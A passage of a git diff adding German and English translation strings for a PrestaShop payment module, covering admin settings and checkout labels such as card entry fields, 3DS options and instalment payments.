+$_MODULE['<{systempay}prestashop>systempayadmindisplay_87f83f78cf682b5606a8ea1544adccf0'] = 'Auktion und Gruppenkauf'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e1bc3b4e930537de4707bb928c712a0c'] = 'Blumen und Geschenkartikel'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a382a28ebfd91e538e8f00c0cfd871d2'] = 'Computer und software'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2c0a2fa68bd358738766a1e7cb3aa917'] = 'Schönheitspflege und Gesundheit'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ab6a1358f4237ebc94e81384c1275592'] = 'Privatkundenservice'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_6c437bccc40bb38ed269b3e163bb657c'] = 'Geschäftskundenservice'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_918e180e06b96c76b7193c9fcb1cb312'] = 'Sport'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2e22a11f2216b183de96c2f8d5c2b0f3'] = 'Bekleidung und Accessoires'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_1fb0f99b55e6c2be35aed72ebe38c245'] = 'Reisen'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_d0507391e83265a7255c1ab8597a750b'] = 'Audio, Foto, Video'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7fa3b0ba6f1dd45ac564a12e16033358'] = 'Telefonie'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a091bbd4496a57bbe07cbe9561818e48'] = 'Optionen Produktkategorien'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eaa6efee1322e72edf57cb1ab2a1de39'] = 'Gleiche Kategorie für alle Produkte verwenden'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_3625cdf19abd4ec330b3db80a9d03c50'] = 'Produktkategorie'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_78888a976865d78a0c1845e05cc95a87'] = 'FacilyPay Oney-Produktkategorie'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_12ca1458e2bcfa83963744127377c77b'] = 'Wählen Sie eine Kategorie für alle Produkte oder verknüpfen Sie jede Produktkategorie mit einer FacilyPay Oney-Kategorie.'; +$_MODULE['<{systempay}prestashop>back_office_4a9cc7ddfd6e169a1b434d6839d91a7e'] = 'ALLGEMEINE KONFIGURATION'; +$_MODULE['<{systempay}prestashop>back_office_7c579486ce2345a95aec18c4eb2584a9'] = 'EINMALZAHLUNG'; +$_MODULE['<{systempay}prestashop>back_office_a51ca50af2761900a8835ca9eef9e94e'] = 'RATENZAHLUNG'; +$_MODULE['<{systempay}prestashop>back_office_7d55b20a8de0d7dadf1e65cf856037e6'] = 'FACILYPAY ONEY-ZAHLUNG'; +$_MODULE['<{systempay}prestashop>back_office_c9cc8cce247e49bae79f15173ce97354'] = 'Speichern'; +$_MODULE['<{systempay}prestashop>redirect_f1c1725dc182726512227aef9ee210c7'] = 'Zahlungsbearbeitung'; +$_MODULE['<{systempay}prestashop>redirect_31682b69de73c081c487b0cb5002549d'] = 'Weiterleitung zur Zahlungsschnittstelle'; +$_MODULE['<{systempay}prestashop>redirect_879f6b8877752685a966564d072f498f'] = 'Ihr Warenkorb ist leer.'; +$_MODULE['<{systempay}prestashop>redirect_e555610477d1aa7807d93f28ba80141e'] = 'Zahlung mit EC-/Kreditkarte'; +$_MODULE['<{systempay}prestashop>redirect_67e5af82e0dca6b20203d71fd681814a'] = 'Bitte warten Sie einen Moment. Ihre Zahlung wird gerade verarbeitet.'; +$_MODULE['<{systempay}prestashop>redirect_ff1b91552dca022519140532b2b2ab82'] = 'Bitte warten Sie. Sie werden in Kürze zur Bezahlungsplattform weitergeleitet.'; +$_MODULE['<{systempay}prestashop>redirect_255a72c22960b12c1fab325d80e0dd56'] = 'Sollte die Wartezeit mehr als 10 Sekunden betragen, klicken Sie bitte auf den untenstehenden Button.'; +$_MODULE['<{systempay}prestashop>redirect_99938b17c91170dfb0c2f3f8bc9f2a85'] = 'Bezahlen'; +$_MODULE['<{systempay}prestashop>payment_return_be6df635dcc7e523098a34e105376cee'] = 'Dieser Shop befindet sich im Wartungsmodus. Es kann keine automatische Benachrichtigung (direkte Verbindung zwischen der Bezahlungsplattform und Ihrer Warenkorblösung) erstellt werden.'; +$_MODULE['<{systempay}prestashop>payment_return_93ec33bd6d2df2fd2c69cc83ef77ddee'] = 'Es konnte keine automatische Benachrichtigung (direkte Verbindung zwischen der Bezahlungsplattform und Ihrer Warenkorblösung) erstellt werden. Bitte prüfen Sie, ob die Server-URL in Ihrem Shopsystem korrekt eingerichtet ist.'; +$_MODULE['<{systempay}prestashop>payment_return_aed9aa264932d1a9f52d263956117993'] = 'Nähere Informationen zu diesem Problem entnehmen Sie bitte der Moduldokumentation:'; +$_MODULE['<{systempay}prestashop>payment_return_b6b31e5e082ae15d4942daa6b8ce78f0'] = 'Kapitel «Bitte vor dem Weiterlesen aufmerksam lesen»'; +$_MODULE['<{systempay}prestashop>payment_return_8dce4920007239e5dce0eea948ddeee3'] = 'Kapitel «Server URL-Einstellungen»'; +$_MODULE['<{systempay}prestashop>payment_return_18c51ad1b1fe562479120ab35f890fc9'] = 'Wenn Sie glauben, dass es sich um einen Fehler handelt, wenden Sie sich an unseren'; +$_MODULE['<{systempay}prestashop>payment_return_64430ad2835be8ad60c59e7d44e4b0b1'] = 'Kundendienst'; +$_MODULE['<{systempay}prestashop>payment_return_73f642dd4a7e09c7570833f584f77263'] = 'AUFNAHME DES PRODUKTIVBETRIEBS'; +$_MODULE['<{systempay}prestashop>payment_return_fce9858aa1e2d1353476b18320719dc3'] = 'Wenn Sie wissen möchten, wie Sie Ihren Shop in den Produktivbetrieb schalten können, rufen Sie folgende URL auf: '; +$_MODULE['<{systempay}prestashop>payment_return_de24df15226a5139eb60c3b24c1efbd6'] = 'Bei Ihrer Bestellung ist ein Zahlungsfehler aufgetreten.'; +$_MODULE['<{systempay}prestashop>payment_return_3fee1227f1b7e441476ccb45278a5f22'] = 'Bitte wenden Sie sich an unseren'; +$_MODULE['<{systempay}prestashop>payment_return_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Ihre Bestellung auf'; +$_MODULE['<{systempay}prestashop>payment_return_75fbf512d744977d62599cc3f0ae2bb4'] = 'ist abgeschlossen.'; +$_MODULE['<{systempay}prestashop>payment_return_ee9d464a5f04b1c5f548d1655691ce82'] = 'Wir bestätigen die Erfassung Ihrer Zahlung in Höhe von'; +$_MODULE['<{systempay}prestashop>payment_return_0db71da7150c27142eef9d22b843b4a9'] = 'Für Rückfragen und weitere Informationen wenden Sie sich bitte an unseren'; +$_MODULE['<{systempay}prestashop>payment_multi_cb82c86a648fa1d594b0681955bc9930'] = 'Zahlungsoption auswählen und auf «Jetzt bezahlen» klicken'; +$_MODULE['<{systempay}prestashop>payment_multi_8bd4837a76cf443ab523a51895e23c36'] = 'Jetzt bezahlen'; +$_MODULE['<{systempay}prestashop>payment_std_b1bdf76454f7e864d239b0c71ee97815'] = 'Hier klicken, um mit EC-/Kreditkarte zu bezahlen'; +$_MODULE['<{systempay}prestashop>payment_std_d0a07bc7bd65a0b0286bfca021f8e280'] = 'Zahlungsdaten angeben und auf «Jetzt bezahlen» klicken'; +$_MODULE['<{systempay}prestashop>payment_std_a44217022190f5734b2f72ba1e4f8a79'] = 'Kartennummer'; +$_MODULE['<{systempay}prestashop>payment_std_60a104dc50579d60cbc90158fada1dcf'] = 'Kartenprüfwert (CVV)'; +$_MODULE['<{systempay}prestashop>payment_std_8c1279db4db86553e4b9682f78cf500e'] = 'Gültig bis'; +$_MODULE['<{systempay}prestashop>payment_std_7cbb885aa1164b390a0bc050a64e1812'] = 'Monat'; +$_MODULE['<{systempay}prestashop>payment_std_537c66b24ef5c83b7382cdc3f34885f2'] = 'Jahr'; +$_MODULE['<{systempay}prestashop>payment_std_8bd4837a76cf443ab523a51895e23c36'] = 'Jetzt bezahlen'; +$_MODULE['<{systempay}prestashop>payment_oney_4803e7f3699700fce00b93f24e48d23d'] = 'Hier klicken, um mit FacilyPay Oney zu bezahlen'; \ No newline at end of file diff --git a/modules/systempay/translations/en.php b/modules/systempay/translations/en.php new file mode 100755 index 0000000..8fc5e36 --- /dev/null +++ b/modules/systempay/translations/en.php @@ -0,0 +1,252 @@ +systempay_2588246e9b8bb55cd587ed5595d3a7e2'] = 'Accept payments by credit cards with %s'; +$_MODULE['<{systempay}prestashop>systempay_53c0eed255c798ec8fc9299e17f01317'] = 'Are you sure you want to delete your module details ?'; +$_MODULE['<{systempay}prestashop>systempay_c82760abe276149682e54af149d50163'] = 'One or more values are invalid for field \"Payment options\". Only valid lines are saved.'; +$_MODULE['<{systempay}prestashop>systempay_7721928ca91b808090c2e42e8ed087e9'] = 'You must select at least one card type.'; +$_MODULE['<{systempay}prestashop>systempay_5416423d5ad1d720c85c23afd46239cd'] = 'Invalid value \"%s\" for field \"%s\".'; +$_MODULE['<{systempay}prestashop>systempay_b4bf0b891dd528b8bc6a0ceddfd5969b'] = 'The card data entry on merchant site cannot be used without enabling SSL.'; +$_MODULE['<{systempay}prestashop>systempay_21c8130b9b2e0a71ca25b5ff65a3b04c'] = 'The field \"%s\" is mandatory.'; +$_MODULE['<{systempay}prestashop>systempay_84d7948ab154d3076c9ed85adf140370'] = 'Problem occurred while saving field \"%s\".'; +$_MODULE['<{systempay}prestashop>systempay_76cd29d10d79ba6370cda5c89ab0946b'] = 'Multishipping is activated. FacilyPay Oney payment cannot be enabled.'; +$_MODULE['<{systempay}prestashop>systempay_4c7fd4e78164fd8c7c942f71d800010b'] = 'Please, enter minimum and maximum amounts in FacilyPay Oney payment tab as agreed with Banque Accord.'; +$_MODULE['<{systempay}prestashop>systempay_f38f5974cdc23279ffe6d203641a8bdf'] = 'Settings updated.'; +$_MODULE['<{systempay}prestashop>systempay_ea55655a72a39fcf04f2dfb3a850671d'] = 'Field %s does not match FacilyPay Oney payment specifications. Please, modify it to be able to use FacilyPay Oney payment'; +$_MODULE['<{systempay}prestashop>systempay_3eeb49b3032fe4320879769af95d803d'] = 'The field %s of your %s is mandatory.'; +$_MODULE['<{systempay}prestashop>systempay_8d3f5eff9c40ee315d452392bed5309b'] = 'Last name'; +$_MODULE['<{systempay}prestashop>systempay_b766ce0639c8492e53cd6a3c9a0e2c05'] = 'billing address'; +$_MODULE['<{systempay}prestashop>systempay_051d3cd9d4ad38267207ab4121aadd66'] = 'The field %s of your %s is invalid.'; +$_MODULE['<{systempay}prestashop>systempay_20db0bfeecd8fe60533206a2b5e9891a'] = 'First name'; +$_MODULE['<{systempay}prestashop>systempay_bcc254b55c4a1babdf1dcb82c207506b'] = 'Phone'; +$_MODULE['<{systempay}prestashop>systempay_f0e1fc6f97d36cb80f29196e2662ffde'] = 'Phone mobile'; +$_MODULE['<{systempay}prestashop>systempay_dd7bf230fde8d4836917806aff6a6b27'] = 'Address'; +$_MODULE['<{systempay}prestashop>systempay_22fcffe02ab9eda5b769387122f2ddce'] = 'Address2'; +$_MODULE['<{systempay}prestashop>systempay_642d3ba5db8b57e006584b544e490ec7'] = 'Zip code'; +$_MODULE['<{systempay}prestashop>systempay_57d056ed0984166336b7879c2af3657f'] = 'City'; +$_MODULE['<{systempay}prestashop>systempay_59716c97497eb9694541f7c3d37b1a4d'] = 'Country'; +$_MODULE['<{systempay}prestashop>systempay_93fa6de74402990149f480456b94f170'] = 'delivery address'; +$_MODULE['<{systempay}prestashop>systempay_687ae6ebf50a06125319516eee9f5fdb'] = 'Your payment was not accepted. Please, try to re-order.'; +$_MODULE['<{systempay}prestashop>systempay_e555610477d1aa7807d93f28ba80141e'] = 'Payment by bank card'; +$_MODULE['<{systempay}prestashop>systempay_796e204aef60da8e6a072431ec43ed2b'] = 'Payment by bank card in several times'; +$_MODULE['<{systempay}prestashop>systempay_ba23145ed5d391c93162698854dbee45'] = 'Payment with FacilyPay Oney'; +$_MODULE['<{systempay}prestashop>systempay_13aa1c47157818ce4d54f337a17084af'] = '3DS authentication : '; +$_MODULE['<{systempay}prestashop>systempay_7469a286259799e5b37e5db9296f00b3'] = 'YES'; +$_MODULE['<{systempay}prestashop>systempay_68a065494f1612ae29b1cde04c936339'] = '3DS certificate : '; +$_MODULE['<{systempay}prestashop>systempay_c2f3f489a00553e7a01d369c103c7251'] = 'NO'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_004a093d1ab4ca81b4024639b4b2427a'] = 'Developed by'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_01ed8a4015b45aa03653c53de46e37ee'] = 'Contact email'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b1c1d84a65180d5912b2dee38a48d6b5'] = 'Module version'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_666809109472d77b71fc9930436c7ff1'] = 'Compatible with payment platform'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_66b5f3034a6f89c316df97eab1ec5663'] = 'Tested with Prestashop version'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dd98664034d01e01eba03dd5653f9cc3'] = 'CLICK HERE TO VIEW THE MODULE CONFIGURATION DOCUMENTATION'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_65a1f435f6f81dfe69dcdfc716f72649'] = 'BASE SETTINGS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b2d37ae1cedf42ff874289b721860af2'] = 'Logs'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ff9b0dd6daa6ef52ec2504bd7c243c74'] = 'Enable / disable module logs'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dfef29864f6f6dcd9dd673f3343221de'] = 'PAYMENT PLATFORM ACCESS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eff08814984e50d7991932fe8bf15991'] = 'Site ID'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_049701ca27fd91a0370ff4c41a5dd3f1'] = 'Site ID provided by the payment platform'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5abbd73fc5189212c57adfb43adac459'] = 'Test certificate'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_51cc994ce3933ec14767f203e5fd6510'] = 'Certificate provided by the platform'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8d79d82e7b1b6174ac9a55a760d64edc'] = 'Production certificate'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_033bd94b1168d7e4f0d644c3c95e35bf'] = 'TEST'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_86601675138015edb458866e7d879118'] = 'PRODUCTION'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_650be61892bf690026089544abbd9d26'] = 'Mode'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7052d0a2a8ddfd85c7acf46354389a9e'] = 'The context mode of this module'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_21dbac9461f8ec4ca19d3fe3907a1776'] = 'Platform URL'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4d3fe987b854c00669876f09e814dda8'] = 'URL the client will be redirected to'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_d735e44539f64ded159789010b4931b2'] = 'Check URL to copy in your bank back-office'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e0872477664fd58da4b5fe1c2aa6a453'] = 'Select a shop to view check URL'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_178ab52ae45ca10afab67d9f2a91c70c'] = 'PAYMENT PAGE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c96a77fb323a41898c3b6941a58dc741'] = 'Default language'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e27b4ff6694b9ba58627fee38486a7f6'] = 'Default language on the payment page'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_86bc3115eb4e9873ac96904a4a68e19e'] = 'German'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_78463a384a5aa4fad5fa73e2f506ecfc'] = 'English'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_cb5480c32e71778852b08ae1e8712775'] = 'Spanish'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ad225f707802ba118c22987186dd38e8'] = 'French'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4be8e06d27bca7e1828f2fa9a49ca985'] = 'Italian'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f32ced6a9ba164c4b3c047fd1d7c882e'] = 'Japanese'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_3b261136e3c33f35e0a58611b1f344cb'] = 'Chinese'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_30e32c7c4cf434e9c75e60c14c442541'] = 'Portuguese'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_41171a0fcd362ce98b5f0f11398713b6'] = 'Swedish'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_68bf367e228f45ba83cb8831a5ee6447'] = 'Dutch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_deba6920e70615401385fe1fb5a379ec'] = 'Russian'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4e1b0d5f96251571c00165c066b7c550'] = 'Available languages'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_821467b11b6317263a4fc216af7112b8'] = 'Select none to use the platform configuration.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8f497c1a3d15af9e0c215019f26b887d'] = 'Delay'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_123fc485e1ced719eed781646ffe2650'] = 'Delay before banking (in days)'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_941b264af0fd3d55827b0871b45039b2'] = 'Back-office configuration'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_086247a9b57fde6eefee2a0c4752242d'] = 'Automatic'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e1ba155a9f2e8c3be94020eef32a0301'] = 'Manual'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_31c46d040ddbf15207ebd7b78af8c45d'] = 'Payment validation'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f567c8fc35869581ef8f47eb37154bb1'] = 'If manual is selected, you will have to confirm payments manually in your bank back-office'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b0c3cae935975999a5f8ca3062969346'] = 'Available payment cards'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4131eb611f462538ec0a10abe8b9e724'] = 'Select the card types that can be used for the payment.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9fe0bf30d35545b0688448c029e77fc2'] = 'PAYMENT PAGE CUSTOMIZE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e140e06995cf99c43970ef378e12b029'] = 'Theme configuration'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5d27e396e9687029d9c9b13c08c79343'] = 'The theme configuration to customize the payment page (logo, CSS).'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e93c33bd1341ab74195430daeb63db13'] = 'Shop name'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_92e5b9360dff0d8fa8a7762359257fe7'] = 'Shop name to display on the payment page. Leave blank to use platform config.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_37d00f4554dc3c0baeb34a9c22d787d9'] = 'Shop URL'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_21235deb899b707b33cf99f6e8c810dc'] = 'Shop URL to display on the payment page. Leave blank to use platform config.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_bf261894e1e1e3e798d4b636696e6662'] = 'SELECTIVE 3DS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_920e5afd43a2aefa56e7b336fe49c5d4'] = 'Minimum amount for which activate 3DS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_459ddd0a40e906c48c32cd32a0cbd9ed'] = 'Requires subscription to Selective 3-D Secure option.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8e0b19a82842dddd5b4bbf435017d611'] = 'RETURN TO SHOP'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b9f5c797ebbf55adccdd8539a65a0241'] = 'Disabled'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Enabled'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_aadb7680e9cf237017cd8b67f6c73260'] = 'Automatic redirection'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2051113e1d11164763db9463db4f3f78'] = 'Redirect the client to the shop at the end of the payment process'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e5e1991ad7aaf9fe6464c969920f097a'] = 'Success timeout'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_46ac211030d7d389966175ae9fd711f4'] = 'Time before the client is redirected after a successful payment'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eb348dd0d56400bd18e7c9e8d25cc666'] = 'Success message'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c739fa67a340c76b8bac9281b456ca3e'] = 'Message displayed before redirection after a successful payment'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_927bb2451d920fdba0ab0823fa7bae6d'] = 'Failure timeout'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_78d4bee1d6875f229d4e4320a6abf10e'] = 'Time before the client is redirected after a failed payment'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_00b7bcd80d9c9f19186b0c729f6085c4'] = 'Failure message'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a4e63e0b942643e02daa5d2d3df9a814'] = 'Message displayed before redirection after a failed payment'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a310223d5085f1c22218a24bc33b4e5d'] = 'GET (parameters in URL)'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_13b89b1404ec947deeb347c8e3901f9b'] = 'POST (parameters in a form)'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5c6a16d0f0782adac84a09b281878e84'] = 'Return mode'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_369a63dd2214318d4b7107a0b74cc81f'] = 'How the client will transmit the payment result'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4dcaea1b2d8f025a39f1dec679a6186e'] = 'Go back to checkout'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4d48c7d2809edea0b654f236d9695943'] = 'Save order and go back to order history'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_0922629c59c5f69e205a4c831f819794'] = 'Payment failed management'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2ec6d9d74ab7d1ef252b9c514c1f0ec8'] = 'How to manage the client when the payment process failed'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_50aeba62672dfa15fed779c0248653cb'] = 'Additional GET parameters'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c6c2cd91778ce3c566b06c1632ccde1e'] = 'Extra parameters sent in the return URL'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9fe7d4433879f84a21f1a9b47c792550'] = 'Additional POST parameters'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_1a01ef92951bf4fcc5cc02ec502e3e0d'] = 'Extra parameters sent in the return form'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9d6b881a4d17ea44c0f9786f6a5e9c7f'] = 'MODULE OPTIONS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f634a4ce61dbccff9374360fd995aaed'] = 'Method title'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_16a00c2b3807b01ce5730590198ff5db'] = 'Method title to display on payment means page.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a9a62e70841c4d06dd16306a85700d36'] = 'Activation'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_6816faa7d62a7c62b89c203b7317b08d'] = 'Select to activate standard payment'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_bf050a33e991ac51cda468deccbb0692'] = 'AMOUNT RESTRICTIONS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9f6e99bdd4184b83dc478d0ab1b4cbf7'] = 'Minimum amount'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_fc1bc2d581a104d6e77e51cf38811b63'] = 'Minimum amount for which this payment method is available'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dcd700acd4c6727dca97f5b414cfb384'] = 'Maximum amount'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7b594176bb47ad19739bc60a8d5f969b'] = 'Maximum amount for which this payment method is available'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8e59fcba6a5225abb4717cd0a017dae5'] = 'CARD DATA ENTRY'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_861cde4a15ea3a39126fbfb3571326fd'] = 'Card data entry on payment platform'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e055e426fa40b587d4b3e238f33a6e38'] = 'Card type selection on merchant site'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_30728a5a5aa3054af1db3fc6407bf20e'] = 'Card data entry on merchant site'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c239a367447ad7b1ae922a8e017f033d'] = 'Card data entry mode'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4bb7fc1c6f2c9cb09369c8e1892b5024'] = 'Select how the credit card info will be entered. Beware, to use data acquisition on the merchant site, you must ensure that you have subscribed to this option with your bank.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4423e7890e7296a9f535ce199d4d015e'] = 'Select to activate multiple payment'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ce4d7de3b7a9c4d597d882898a14dcc5'] = 'MULTIPLE PAYMENT OPTIONS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e3135e5c28bd4c70a9bb3c50b0d278aa'] = 'Payment options'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ec211f7c20af43e742bf2570c3cb84f9'] = 'Add'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f2a6c498fb90ee345d997f888fce3b18'] = 'Delete'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b021df6aac4654c454f46c77646e745f'] = 'Label'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_80a2645c681d607705f5baab7cf7d2cb'] = 'Min amount'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7d48ddaff550ef9e47ed788f50d860e7'] = 'Max amount'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f49498143b94e78415d06029763412b9'] = 'Contract'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b2ee912b91d69b435159c7c3f6df7f5f'] = 'Number'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_1901606ea069a83dc7beea17881ef95a'] = 'Period'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5e6fab97b55b59a90290d851fb5fe929'] = '1st payment'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b056d45a87280cf305ce0d0842478c5c'] = 'Click on Add button to configure one or more payment options.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_bfad44649219843147084d62ba70bc79'] = 'The option label to display on the frontend.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e922a8c9070a68a322e3dee8b87f0b62'] = 'Minimum amount to enable the payment option.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_59423ceb80faf63c4999208b598ca9fd'] = 'Maximum amount to enable the payment option.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dc51d4d008b18d70eee856269de5e986'] = 'ID of the contract to use with the option (preferably leave blank).'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e9902c2d13eac5c51eeb3e4c3b72ee6d'] = 'Total number of payments.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_0db6ef3684ba09860d46d0b46f097c51'] = 'Delay (in days) between payments.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_fb6f4e7d8e165952c58a9ec74bdd74cd'] = 'Amount of first payment, in percentage of total amount. If empty, all payments will have the same amount.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c5ff1168424ff8eaa52a4234daee2e68'] = 'Do no forget to click on "Save" button to save your modifications.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_28ef0ec84a6abddb4d894b93b047a8f7'] = 'Select to activate FacilyPay Oney payment'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_877c3919c058e9ca3e19286bed26cb35'] = 'Requires a FacilyPay Oney contract with Banque Accord and a subscription to %s option'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_6e949302013414e958224c73334e8d99'] = 'FACILYPAY ONEY SHIPPING SETTINGS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eb3378ce39cddd81c9e7b011dcbf7196'] = 'Shipping options'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2068f4dd0b1c5f2b86d1092d9301de7f'] = 'Delivery company'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_507e465444cdd751dc7a539203c85f7c'] = 'Reclaim in shop'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b0efcf1ae8a6bff5debb5ed65de8f412'] = 'Relay point'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_02da484e2730f20ccef65b94f903ea40'] = 'Reclaim in station'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eb6d8ae6f20283755b339c0dc273988b'] = 'Standard'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b144fa061545497bebee8c414efc99a9'] = 'Express'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_49ee3087348e8d44e1feda1917443987'] = 'Name'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a1fa27779242b4902f7ae3bdd5c6d508'] = 'Type'; 